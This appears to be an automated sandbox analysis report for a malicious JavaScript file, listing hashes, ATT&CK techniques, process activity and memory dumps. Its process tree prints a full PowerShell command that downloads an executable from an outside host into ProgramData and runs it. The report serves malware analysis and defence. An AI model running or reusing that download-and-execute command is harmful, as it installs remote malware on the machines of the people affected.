fe77b6b060137fccf7b6e30e53cb57658c6d65de4d898f8e9360d43f8f8a824f

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
01-10-2024 07:57

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General

Target

fe77b6b060137fccf7b6e30e53cb57658c6d65de4d898f8e9360d43f8f8a824f.js
Size

67KB
MD5

3c85bb16f6d987f899fcaeb1ad4dd1c2
SHA1

95780999e090f489aa3d1e7e3d36561ba0ec0a35
SHA256

fe77b6b060137fccf7b6e30e53cb57658c6d65de4d898f8e9360d43f8f8a824f
SHA512

aa8e980625764125f3cc7fc8cd3be1966c73e82e2e3f1bcd6eb246093cb510e0e7c1dd1c3d607d80c222f876c06eea06048d8b87d7139b3ee10d4e690dc0ae3d
SSDEEP

1536:mT66+AfHW4LCn4akVFEoZJjUbzdn+WMwHQn:miAf2xn4PFZJw8WMcK

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2664	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2664	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2664	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 2664	1968	wscript.exe	30
PID 1968 wrote to memory of 2664	1968	wscript.exe	30
PID 1968 wrote to memory of 2664	1968	wscript.exe	30
PID 2664 wrote to memory of 3064	2664	powershell.exe	33
PID 2664 wrote to memory of 3064	2664	powershell.exe	33
PID 2664 wrote to memory of 3064	2664	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\fe77b6b060137fccf7b6e30e53cb57658c6d65de4d898f8e9360d43f8f8a824f.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -Command Start-Sleep -Milliseconds 5000; mkdir C:\ProgramData\cb239b93eff ; wget https://down.lianfamedical.com/out.exe -OutFile C:\ProgramData\cb239b93eff\cb239b93eff.exe; Start-Sleep -Milliseconds 5000; C:\Windows\System32\cmd.exe /C C:\ProgramData\cb239b93eff\cb239b93eff.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\cb239b93eff\cb239b93eff.exe
    3⤵
    PID:3064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2664-4-0x000007FEF60CE000-0x000007FEF60CF000-memory.dmp

Filesize
4KB

Download
memory/2664-5-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2664-7-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2664-6-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-9-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-8-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-10-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-11-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-12-0x000007FEF60CE000-0x000007FEF60CF000-memory.dmp

Filesize
4KB

Download
memory/2664-13-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-14-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download